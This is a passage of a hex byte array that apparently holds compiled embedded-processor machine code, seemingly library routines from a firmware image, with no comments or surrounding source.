0xbe, 0x03, 0x00, 0xc8,
0x30, 0x7b, 0xff, 0xbb,
0x22, 0x40, 0x00, 0x02,
0x16, 0x43, 0x90, 0x03,
0xbe, 0x52, 0x03, 0xd4,
0x10, 0xa0, 0x00, 0x00,
0x33, 0x80, 0x00, 0x03,
0xb0, 0x00, 0x00, 0x00,
0x30, 0x60, 0xff, 0x8c,
0xfa, 0x61, 0x06, 0x98,
0xf8, 0x61, 0x06, 0xb8,
0xb8, 0x10, 0xf1, 0x8c,
0x13, 0x3c, 0x00, 0x00,
0x10, 0xbe, 0x00, 0x00,
0x30, 0xc1, 0x00, 0x54,
0xb9, 0xf4, 0x41, 0xc4,
0x12, 0xe0, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0xe1, 0x00, 0x58,
0xbe, 0x23, 0xec, 0xb4,
0x12, 0x77, 0x00, 0x00,
0xe9, 0x21, 0x00, 0x2c,
0xb8, 0x10, 0xf3, 0x28,
0x10, 0xfd, 0x00, 0x00,
0x10, 0xbe, 0x00, 0x00,
0x30, 0xc1, 0x00, 0x54,
0xb9, 0xf4, 0x41, 0x98,
0x12, 0xe0, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0xe1, 0x00, 0x58,
0xbe, 0x23, 0xec, 0x88,
0x12, 0x77, 0x00, 0x00,
0xe9, 0x21, 0x00, 0x2c,
0xb8, 0x10, 0xf2, 0xb4,
0x10, 0xbd, 0x00, 0x00,
0x10, 0xbe, 0x00, 0x00,
0x30, 0xc1, 0x00, 0x54,
0xb9, 0xf4, 0x41, 0x6c,
0x12, 0xe0, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0xe1, 0x00, 0x58,
0xbe, 0x23, 0xec, 0x5c,
0x10, 0xbd, 0x00, 0x00,
0xe9, 0x21, 0x00, 0x2c,
0xb8, 0x00, 0xee, 0x50,
0xb0, 0x00, 0x00, 0x00,
0x30, 0x80, 0xff, 0xd0,
0xf8, 0x81, 0x06, 0xb8,
0xb8, 0x10, 0xe5, 0xd4,
0x13, 0x3c, 0x00, 0x00,
0xe8, 0xc1, 0x06, 0xb4,
0xa0, 0xc6, 0x01, 0x00,
0xf8, 0xc1, 0x06, 0xb4,
0xaa, 0x5b, 0x00, 0x66,
0xbc, 0x12, 0x05, 0x60,
0xaa, 0x5b, 0x00, 0x65,
0xbc, 0x12, 0x05, 0x48,
0xaa, 0x5b, 0x00, 0x45,
0xbc, 0x12, 0x05, 0x40,
0xeb, 0x21, 0x06, 0xa8,
0x31, 0x00, 0x00, 0x02,
0xe8, 0x81, 0x06, 0x88,
0xe8, 0xa1, 0x06, 0x8c,
0xbe, 0x44, 0x05, 0x90,
0x33, 0x40, 0x00, 0x2d,
0x12, 0xc4, 0x00, 0x00,
0x12, 0xe5, 0x00, 0x00,
0x13, 0x40, 0x00, 0x00,
0xe8, 0xa1, 0x06, 0xf0,
0x11, 0x39, 0x00, 0x00,
0x10, 0xd6, 0x00, 0x00,
0x10, 0xf7, 0x00, 0x00,
0x30, 0x61, 0x00, 0x34,
0x30, 0x81, 0x00, 0x38,
0xf8, 0x61, 0x00, 0x1c,
0xf8, 0x81, 0x00, 0x20,
0xb9, 0xf4, 0x1b, 0x64,
0x31, 0x41, 0x00, 0x2c,
0xf8, 0x61, 0x06, 0xb8,
0xaa, 0x5b, 0x00, 0x67,
0xbc, 0x12, 0x02, 0x90,
0xaa, 0x5b, 0x00, 0x47,
0xbc, 0x12, 0x02, 0x88,
0xe8, 0x61, 0x06, 0xb8,
0xaa, 0x5b, 0x00, 0x66,
0xbe, 0x12, 0x05, 0x1c,
0x12, 0x63, 0xc8, 0x00,
0x10, 0xb6, 0x00, 0x00,
0x10, 0xe0, 0x00, 0x00,
0x11, 0x00, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x00,
0xb9, 0xf4, 0xa7, 0x4c,
0x10, 0xd7, 0x00, 0x00,
0xbe, 0x23, 0x04, 0xd0,
0x10, 0x73, 0x00, 0x00,
0xfa, 0x61, 0x00, 0x38,
0xe8, 0xc1, 0x06, 0xb8,
0x30, 0xa0, 0x00, 0x67,
0x88, 0x9b, 0x2c, 0x00,
0xbe, 0x24, 0x02, 0x74,
0x16, 0xe6, 0x18, 0x00,
0xaa, 0x5b, 0x00, 0x47,
0xbc, 0x12, 0x02, 0x68,
0x32, 0x40, 0x00, 0x65,
0x16, 0x5b, 0x90, 0x01,
0xbe, 0x52, 0x04, 0x04,
0x90, 0x7b, 0x00, 0x60,
0xe9, 0x21, 0x00, 0x2c,
0xfb, 0x61, 0x06, 0x84,
0x31, 0x29, 0xff, 0xff,
0xf0, 0x61, 0x00, 0x3c,
0xf9, 0x21, 0x00, 0x2c,
0xbe, 0x49, 0x05, 0xe4,
0x12, 0x69, 0x00, 0x00,
0x30, 0x60, 0x00, 0x2b,
0xf0, 0x61, 0x00, 0x3d,
0x32, 0x40, 0x00, 0x09,
0x16, 0x53, 0x90, 0x01,
0xbe, 0xb2, 0x04, 0x2c,
0x30, 0x93, 0x00, 0x30,
0x12, 0xdd, 0x00, 0x00,
0x10, 0xb3, 0x00, 0x00,
0x30, 0xc0, 0x00, 0x0a,
0xb0, 0x00, 0x00, 0x00,
0xb9, 0xf4, 0xac, 0xf4,
0x32, 0xd6, 0xff, 0xff,
0x10, 0xb3, 0x00, 0x00,
0x30, 0x63, 0x00, 0x30,
0xf0, 0x76, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x00,
0xb9, 0xf4, 0xae, 0x30,
0x30, 0xc0, 0x00, 0x0a,
0x32, 0x40, 0x00, 0x09,
0x16, 0x43, 0x90, 0x01,
0xbe, 0x52, 0xff, 0xcc,
0x12, 0x63, 0x00, 0x00,
0x30, 0x63, 0x00, 0x30,
0x30, 0xd6, 0xff, 0xff,
0xf0, 0x76, 0xff, 0xff,
0x16, 0x5d, 0x30, 0x03,
0xbe, 0xb2, 0x00, 0x20,
0x30, 0x81, 0x00, 0x3e,
0xe0, 0x66, 0x00, 0x00,
0x30, 0xc6, 0x00, 0x01,
0xf0, 0x64, 0x00, 0x00,
0x16, 0x5d, 0x30, 0x03,
0xbe, 0x52, 0xff, 0xf0,
0x30, 0x84, 0x00, 0x01,
0x30, 0x61, 0x00, 0x3c,
0x14, 0x83, 0x20, 0x00,
0xf8, 0x81, 0x06, 0xa0,
0x32, 0x40, 0x00, 0x01,
0x16, 0x57, 0x90, 0x01,
0xbe, 0xb2, 0x01, 0xc8,
0x13, 0x37, 0x20, 0x00,
0x33, 0x99, 0x00, 0x01,
0xbe, 0x5c, 0x04, 0x68,
0x13, 0x3c, 0x00, 0x00,
0xbe, 0x3a, 0x02, 0x14,
0x10, 0xa0, 0x00, 0x00,
0xbe, 0x59, 0x04, 0x60,
0x13, 0x99, 0x00, 0x00,
0xeb, 0x61, 0x06, 0x84,
0xfa, 0xe1, 0x06, 0x9c,
0xfb, 0x41, 0x06, 0x98,
0xb8, 0x00, 0xef, 0x24,
0x10, 0xbe, 0x00, 0x00,
0x30, 0xc1, 0x00, 0x54,
0xb9, 0xf4, 0x3f, 0x60,
0x12, 0xe0, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0xe1, 0x00, 0x58,
0xbe, 0x23, 0xea, 0x50,
0x10, 0xbd, 0x00, 0x00,
0xe9, 0x21, 0x00, 0x2c,
0xb8, 0x00, 0xf9, 0x38,
0xb0, 0x00, 0x00, 0x01,
0x33, 0x40, 0x01, 0x3c,
0xb8, 0x10, 0xeb, 0x94,
0x12, 0xf7, 0xc0, 0x00,
0xf0, 0x61, 0x00, 0x24,
0xb8, 0x10, 0xf4, 0x60,
0x30, 0x7b, 0xff, 0xbb,
0xe8, 0x61, 0x00, 0x5c,
0xbe, 0x23, 0x02, 0xac,
0x10, 0xbe, 0x00, 0x00,
0xf8, 0x01, 0x00, 0x58,
0xb8, 0x00, 0xea, 0x28,
0xe8, 0xa1, 0x06, 0xf0,
0xb9, 0xf4, 0xd2, 0x6c,
0x30, 0xd9, 0x00, 0x01,
0xbe, 0x03, 0x03, 0x1c,
0x12, 0x63, 0x00, 0x00,
0x10, 0xb6, 0x00, 0x00,
0x30, 0xe0, 0x00, 0x08,
0xf8, 0x61, 0x06, 0x90,
0xb9, 0xf4, 0x49, 0xe8,
0x10, 0xc0, 0x00, 0x00,
0x11, 0x36, 0x00, 0x00,
0xe8, 0xa1, 0x06, 0xf0,
0xe8, 0xc1, 0x06, 0x90,
0x11, 0x19, 0x00, 0x00,
0xb9, 0xf4, 0x06, 0x1c,
0x30, 0xe1, 0x00, 0x30,
0x16, 0x43, 0xc8, 0x00,
0xbe, 0x32, 0x04, 0x80,
0x10, 0x60, 0x00, 0x00,
0xf8, 0x61, 0x06, 0x98,
0xa8, 0x79, 0xff, 0xff,
0xfa, 0x61, 0x06, 0xb8,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0xd0, 0x19, 0x98, 0x00,
0xb8, 0x10, 0xed, 0xf0,
0x87, 0x99, 0x18, 0x00,
0xe8, 0xc1, 0x06, 0xb4,
0xa4, 0x66, 0x00, 0x01,
0xbc, 0x23, 0xfd, 0x74,
0xe8, 0x61, 0x00, 0x38,
0xb8, 0x00, 0xfd, 0xa0,
0x33, 0x80, 0x00, 0x03,
0xb0, 0x00, 0x00, 0x00,
0x30, 0x80, 0xff, 0x90,
0xf8, 0x81, 0x06, 0xb8,
0xf8, 0xa1, 0x06, 0x98,
0xb8, 0x10, 0xed, 0xc0,
0x13, 0x3c, 0x00, 0x00,
0xe9, 0x21, 0x00, 0x2c,
0x32, 0x40, 0xff, 0xfc,
0x16, 0x49, 0x90, 0x01,
0xbc, 0xb2, 0x00, 0x40,
0xe8, 0x61, 0x06, 0xa8,
0xf8, 0xa1, 0x06, 0x84,
0x16, 0x49, 0x18, 0x01,
0xbc, 0x52, 0x00, 0x30,
0x16, 0x57, 0x48, 0x01,
0xbe, 0x52, 0x02, 0xc4,
0x13, 0x29, 0x00, 0x00,
0xe8, 0x81, 0x06, 0xb4,
0xa4, 0x64, 0x00, 0x01,
0xbe, 0x23, 0xfe, 0x3c,
0x33, 0x99, 0x00, 0x01,
0xbe, 0xb9, 0xfe, 0x3c,
0x13, 0x99, 0x00, 0x00,
0xb8, 0x10, 0xfe, 0x34,
0x13, 0x83, 0x00, 0x00,
0xbc, 0x04, 0x01, 0x80,
0x30, 0x60, 0x00, 0x65,
0xf8, 0x61, 0x06, 0x84,
0xb8, 0x10, 0xfd, 0x60,
0x31, 0x29, 0xff, 0xff,
0x10, 0xbe, 0x00, 0x00,
0x30, 0xc1, 0x00, 0x54,
0xb9, 0xf4, 0x3d, 0x98,
0x12, 0xe0, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0xe1, 0x00, 0x58,
0xbe, 0x23, 0xe8, 0x88,
0x12, 0x77, 0x00, 0x00,
0xe9, 0x21, 0x00, 0x2c,
0xb8, 0x10, 0xf7, 0xc0,
0x10, 0x9d, 0x00, 0x00,
0xeb, 0x61, 0x06, 0x84,
0x30, 0x60, 0x00, 0x2d,
0xfa, 0xe1, 0x06, 0x9c,
0xf8, 0xa1, 0x06, 0x98,
0xf0, 0x61, 0x00, 0x24,
0xb8, 0x10, 0xe2, 0x0c,
0x33, 0x9c, 0x00, 0x01,
0xeb, 0x81, 0x06, 0xa8,
0xf8, 0x61, 0x06, 0x98,
0x13, 0x3c, 0x00, 0x00,
0xa8, 0x7c, 0xff, 0xff,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0xb8, 0x10, 0xec, 0x84,
0x87, 0x9c, 0x18, 0x00,
0xe8, 0xa1, 0x06, 0xb8,
0xb9, 0xf4, 0xde, 0x60,
0x80, 0x00, 0x00, 0x00,
0x13, 0x83, 0x00, 0x00,
0xbe, 0xa3, 0xf3, 0x9c,
0x13, 0x23, 0x00, 0x00,
0xb8, 0x10, 0xf3, 0x94,
0x13, 0x93, 0x00, 0x00,
0x10, 0xc0, 0x00, 0x00,
0xe8, 0xa1, 0x06, 0xf0,
0x11, 0x06, 0x00, 0x00,
0x11, 0x36, 0x00, 0x00,
0xb9, 0xf4, 0x03, 0xd8,
0x30, 0xe1, 0x00, 0x30,
0xaa, 0x43, 0xff, 0xff,
0xbe, 0x12, 0x00, 0xa0,
0x13, 0x23, 0x00, 0x00,
0xe8, 0xc1, 0x06, 0xb8,
0xf8, 0xc1, 0x00, 0x30,
0xb8, 0x00, 0xf9, 0xd8,
0x30, 0xc1, 0x00, 0x54,
0xb9, 0xf4, 0x3c, 0x70,
0x12, 0xe0, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0xe1, 0x00, 0x58,
0xbc, 0x23, 0xe7, 0x74,
0xb8, 0x00, 0xfd, 0x44,
0xaa, 0x5b, 0x00, 0x66,
0xbc, 0x12, 0x00, 0xf8,
0xe9, 0x21, 0x00, 0x2c,
0xfb, 0x61, 0x06, 0x84,
0xb8, 0x00, 0xfe, 0x68,
0xeb, 0x81, 0x06, 0xa8,
0xf8, 0x61, 0x06, 0x98,
0xb8, 0x10, 0xeb, 0xf4,
0x13, 0x3c, 0x00, 0x00,
0x30, 0x60, 0x00, 0x45,
0xf8, 0x61, 0x06, 0x84,
0xb8, 0x10, 0xfb, 0xe4,
0x31, 0x29, 0xff, 0xff,
0x10, 0xbe, 0x00, 0x00,
0x30, 0xc1, 0x00, 0x54,
0xb9, 0xf4, 0x3c, 0x1c,
0x12, 0xe0, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0xe1, 0x00, 0x58,
0xbe, 0x23, 0xe7, 0x0c,
0x12, 0x77, 0x00, 0x00,
0xb8, 0x10, 0xf8, 0x40,
0x10, 0x9d, 0x00, 0x00,
0x30, 0x60, 0x00, 0x30,
0xf0, 0x81, 0x00, 0x3f,
0xf0, 0x61, 0x00, 0x3e,
0xb8, 0x10, 0xfc, 0x40,
0x30, 0x81, 0x00, 0x40,
0xe4, 0x7e, 0x00, 0x0c,
0xa0, 0x63, 0x00, 0x40,
0xf4, 0x7e, 0x00, 0x0c,
0xb8, 0x00, 0xe6, 0xf0,
0xe8, 0x61, 0x06, 0xa8,
0x31, 0x00, 0x00, 0x02,
0xb8, 0x10, 0xfa, 0xc4,
0x33, 0x23, 0x00, 0x01,
0xeb, 0x21, 0x06, 0xa8,
0xb8, 0x10, 0xfa, 0xb8,
0x31, 0x00, 0x00, 0x03,
0xe8, 0x61, 0x00, 0x38,
0x16, 0x53, 0x18, 0x03,
0xbe, 0xb2, 0xfb, 0x34,
0x10, 0x93, 0x00, 0x00,
0x30, 0xa0, 0x00, 0x30,
0xf0, 0xa3, 0x00, 0x00,
0x30, 0x63, 0x00, 0x01,
0xf8, 0x61, 0x00, 0x38,
0x16, 0x44, 0x18, 0x00,
0xbc, 0x32, 0xff, 0xf0,
0xb8, 0x00, 0xfb, 0x14,
0xe0, 0x63, 0x00, 0x00,
0xaa, 0x43, 0x00, 0x30,
0xbe, 0x12, 0x01, 0x50,
0x10, 0xb6, 0x00, 0x00,
0xe9, 0x21, 0x00, 0x2c,
0xb8, 0x10, 0xfa, 0xd8,
0x12, 0x73, 0x48, 0x00,
0xe8, 0xa1, 0x06, 0x8c,
0xe8, 0x81, 0x06, 0x88,
0xb0, 0x00, 0x80, 0x00,
0x32, 0xc4, 0x00, 0x00,
0xb8, 0x10, 0xfa, 0x74,
0x12, 0xe5, 0x00, 0x00,
0xeb, 0x21, 0x00, 0x2c,
0xbc, 0x79, 0x00, 0xdc,
0xe8, 0xa1, 0x06, 0xa8,
0xbc, 0x25, 0x00, 0x14,
0xe8, 0xc1, 0x06, 0xb4,
0xa4, 0x66, 0x00, 0x01,
0xbe, 0x03, 0xfb, 0xbc,
0x13, 0x99, 0x00, 0x00,
0xe8, 0x81, 0x06, 0xa8,
0x30, 0x79, 0x00, 0x01,
0x13, 0x84, 0x18, 0x00,
0xbe, 0xbc, 0xfb, 0xa8,
0x13, 0x3c, 0x00, 0x00,
0xb8, 0x10, 0xfb, 0xa0,
0x13, 0x80, 0x00, 0x00,
0xb8, 0x10, 0xfb, 0xa8,
0x13, 0x9a, 0x00, 0x00,
0xbe, 0x89, 0x00, 0x0c,
0x30, 0x60, 0x00, 0x01,
0x34, 0x69, 0x00, 0x02,
0x13, 0x83, 0xb8, 0x00,
0x13, 0x3c, 0x00, 0x00,
0xa8, 0x7c, 0xff, 0xff,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0xb8, 0x10, 0xfa, 0xfc,
0x87, 0x9c, 0x18, 0x00,
0xe8, 0xa1, 0x06, 0xa8,
0xbc, 0x25, 0x00, 0x88,
0xe8, 0xc1, 0x06, 0xb4,
0xa4, 0x66, 0x00, 0x01,
0xbe, 0x23, 0x00, 0x7c,
0x33, 0x80, 0x00, 0x01,
0xb8, 0x10, 0xfa, 0xdc,
0x13, 0x3c, 0x00, 0x00,
0x30, 0x60, 0x00, 0x2d,
0xf0, 0x61, 0x00, 0x3d,
0xb8, 0x10, 0xfa, 0x24,
0x16, 0x69, 0x00, 0x00,
0xe4, 0x7e, 0x00, 0x0c,
0xe8, 0xc1, 0x06, 0x90,
0xa0, 0x63, 0x00, 0x40,
0xf4, 0x7e, 0x00, 0x0c,
0xb8, 0x00, 0xe5, 0x44,
0x10, 0xe0, 0x00, 0x00,
0x11, 0x00, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x00,
0xb9, 0xf4, 0xa1, 0x98,
0x10, 0xd7, 0x00, 0x00,
0xbe, 0x03, 0xfe, 0xa4,
0x35, 0x39, 0x00, 0x01,
0xf9, 0x21, 0x00, 0x2c,
0xb8, 0x00, 0xfe, 0x98,
0xe8, 0x9a, 0x00, 0x00,
0xf8, 0x81, 0x06, 0xa8,
0xbe, 0xa4, 0xee, 0x30,
0x31, 0x1a, 0x00, 0x04,
0xe0, 0x7f, 0x00, 0x00,
0x30, 0xa0, 0xff, 0xff,
0xf8, 0xa1, 0x06, 0xa8,
0xb8, 0x10, 0xde, 0x44,
0x13, 0x48, 0x00, 0x00,
0xe8, 0x61, 0x06, 0xa8,
0x33, 0x83, 0x00, 0x02,
0xbe, 0xbc, 0xfa, 0x60,
0x13, 0x3c, 0x00, 0x00,
0xb8, 0x10, 0xfa, 0x58,
0x13, 0x80, 0x00, 0x00,
0x10, 0x66, 0x00, 0x00,
0x11, 0x07, 0x00, 0x00,
0x10, 0xc5, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0xa0, 0x04, 0xa4,
0x30, 0x21, 0xff, 0xe4,
0xf9, 0xe1, 0x00, 0x00,
0xb9, 0xf4, 0xdb, 0xb8,
0x10, 0xe3, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x1c,
0x30, 0x21, 0xff, 0xd0,
0xfa, 0x61, 0x00, 0x28,
0xfa, 0xc1, 0x00, 0x2c,
0xf9, 0xe1, 0x00, 0x00,
0x12, 0xc5, 0x00, 0x00,
0xbe, 0x06, 0x00, 0x44,
0x12, 0x68, 0x00, 0x00,
0xb9, 0xf4, 0x03, 0xb4,
0x80, 0x00, 0x00, 0x00,
0xaa, 0x43, 0xff, 0xff,
0xbe, 0x32, 0x00, 0x18,
0x10, 0x83, 0x00, 0x00,
0xf8, 0x13, 0x00, 0x00,
0x30, 0x60, 0x00, 0x8a,
0x30, 0x80, 0xff, 0xff,
0xf8, 0x76, 0x00, 0x0c,
0x10, 0x64, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x28,
0xea, 0xc1, 0x00, 0x2c,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x30,
0x10, 0xe6, 0x00, 0x00,
0xb9, 0xf4, 0x03, 0x74,
0x30, 0xc1, 0x00, 0x1c,
0xb8, 0x00, 0xff, 0xc0,
0x30, 0x21, 0xff, 0xd0,
0xfa, 0xc1, 0x00, 0x2c,
0x12, 0xc7, 0x00, 0x00,
0xfa, 0x61, 0x00, 0x28,
0x10, 0x66, 0x00, 0x00,
0xf9, 0xe1, 0x00, 0x00,
0x10, 0xe5, 0x00, 0x00,
0x11, 0x16, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x01,
0xea, 0x60, 0x04, 0xa4,
0xbe, 0x05, 0x00, 0x50,
0x30, 0xc1, 0x00, 0x1c,
0x10, 0xc5, 0x00, 0x00,
0x10, 0xe3, 0x00, 0x00,
0x10, 0xb3, 0x00, 0x00,
0xb9, 0xf4, 0x03, 0x2c,
0x11, 0x16, 0x00, 0x00,
0xaa, 0x43, 0xff, 0xff,
0xbe, 0x32, 0x00, 0x18,
0x10, 0x83, 0x00, 0x00,
0xf8, 0x16, 0x00, 0x00,
0x30, 0x60, 0x00, 0x8a,
0x30, 0x80, 0xff, 0xff,
0xf8, 0x73, 0x00, 0x0c,
0x10, 0x64, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x28,
0xea, 0xc1, 0x00, 0x2c,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x30,
0xb9, 0xf4, 0x02, 0xf0,
0x10, 0xb3, 0x00, 0x00,
0xb8, 0x00, 0xff, 0xc4,
0x30, 0x21, 0xff, 0xac,
0xfb, 0x21, 0x00, 0x38,
0xfb, 0x41, 0x00, 0x3c,
0xfb, 0x81, 0x00, 0x44,
0xfb, 0xa1, 0x00, 0x48,
0xfb, 0xe1, 0x00, 0x50,
0xf9, 0xe1, 0x00, 0x00,
0xfa, 0x61, 0x00, 0x28,
0xfa, 0xc1, 0x00, 0x2c,
0xfa, 0xe1, 0x00, 0x30,
0xfb, 0x01, 0x00, 0x34,
0xfb, 0x61, 0x00, 0x40,
0xfb, 0xc1, 0x00, 0x4c,
0x13, 0x86, 0x00, 0x00,
0x13, 0xe5, 0x00, 0x00,
0x13, 0xa7, 0x00, 0x00,
0x13, 0x28, 0x00, 0x00,
0xbe, 0x06, 0x00, 0xf8,
0x13, 0x49, 0x00, 0x00,
0xeb, 0x67, 0x00, 0x00,
0xbe, 0x08, 0x00, 0xb0,
0x12, 0xc0, 0x00, 0x00,
0x13, 0x1c, 0x00, 0x00,
0x12, 0xc0, 0x00, 0x00,
0x33, 0xc1, 0x00, 0x1c,
0x10, 0xde, 0x00, 0x00,
0x10, 0xbf, 0x00, 0x00,
0xe8, 0xfb, 0x00, 0x00,
0xea, 0xfa, 0x00, 0x00,
0xea, 0x7a, 0x00, 0x04,
0xb9, 0xf4, 0xfe, 0x9c,
0x11, 0x1a, 0x00, 0x00,
0xaa, 0x43, 0xff, 0xff,
0xbe, 0x12, 0x00, 0xc4,
0x10, 0xc3, 0x00, 0x00,
0x14, 0x63, 0xc8, 0x00,
0x16, 0x56, 0x18, 0x03,
0xbc, 0x52, 0x00, 0x64,
0x16, 0x59, 0x30, 0x03,
0xbc, 0xb2, 0x00, 0x5c,
0xbe, 0x1c, 0x00, 0x3c,
0x12, 0xd6, 0x30, 0x00,
0xbc, 0x66, 0x00, 0x28,
0x10, 0xa0, 0x00, 0x00,
0x10, 0x65, 0x08, 0x00,
0xe0, 0x83, 0x00, 0x1c,
0xd0, 0x98, 0x28, 0x00,
0x30, 0xa5, 0x00, 0x01,
0x16, 0x45, 0x30, 0x00,
0xbe, 0x32, 0xff, 0xf0,
0x10, 0x65, 0x08, 0x00,
0x13, 0x18, 0x30, 0x00,
0xe8, 0x7d, 0x00, 0x00,
0x30, 0x63, 0x00, 0x04,
0xf8, 0x7d, 0x00, 0x00,
0xe8, 0x7b, 0x00, 0x00,
0xbc, 0x03, 0x00, 0x7c,
0x16, 0x59, 0xb0, 0x03,
0xbe, 0xb2, 0x00, 0x18,
0x33, 0x7b, 0x00, 0x04,
0xb8, 0x10, 0xff, 0x78,
0x10, 0xde, 0x00, 0x00,
0xfa, 0x7a, 0x00, 0x04,
0xfa, 0xfa, 0x00, 0x00,
0x10, 0x76, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x28,
0xea, 0xc1, 0x00, 0x2c,
0xea, 0xe1, 0x00, 0x30,
0xeb, 0x01, 0x00, 0x34,
0xeb, 0x21, 0x00, 0x38,
0xeb, 0x41, 0x00, 0x3c,
0xeb, 0x61, 0x00, 0x40,
0xeb, 0x81, 0x00, 0x44,
0xeb, 0xa1, 0x00, 0x48,
0xeb, 0xc1, 0x00, 0x4c,
0xeb, 0xe1, 0x00, 0x50,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x54,
0xeb, 0x67, 0x00, 0x00,
0xb8, 0x10, 0xff, 0x18,
0x33, 0x20, 0xff, 0xff,
0x30, 0x60, 0x00, 0x8a,
0xf8, 0x7f, 0x00, 0x0c,
0xf8, 0x1a, 0x00, 0x00,
0xb8, 0x10, 0xff, 0xac,
0x32, 0xc0, 0xff, 0xff,
0xbc, 0x1c, 0x00, 0x08,
0xf8, 0x7d, 0x00, 0x00,
0xf8, 0x7a, 0x00, 0x00,
0xb8, 0x10, 0xff, 0x98,
0x32, 0xd6, 0xff, 0xff,
0x30, 0x21, 0xff, 0xac,
0xfb, 0x21, 0x00, 0x38,
0xfb, 0x41, 0x00, 0x3c,
0xfb, 0x81, 0x00, 0x44,
0xfb, 0xa1, 0x00, 0x48,
0xfb, 0xc1, 0x00, 0x4c,
0xf9, 0xe1, 0x00, 0x00,
0xfa, 0x61, 0x00, 0x28,
0xfa, 0xc1, 0x00, 0x2c,
0xfa, 0xe1, 0x00, 0x30,
0xfb, 0x01, 0x00, 0x34,
0xfb, 0x61, 0x00, 0x40,
0xfb, 0xe1, 0x00, 0x50,
0x13, 0x85, 0x00, 0x00,
0x13, 0xa6, 0x00, 0x00,
0x13, 0x27, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x01,
0xeb, 0xc0, 0x04, 0xa4,
0xbe, 0x05, 0x00, 0xf8,
0x13, 0x48, 0x00, 0x00,
0xeb, 0x66, 0x00, 0x00,
0xbe, 0x07, 0x00, 0xb0,
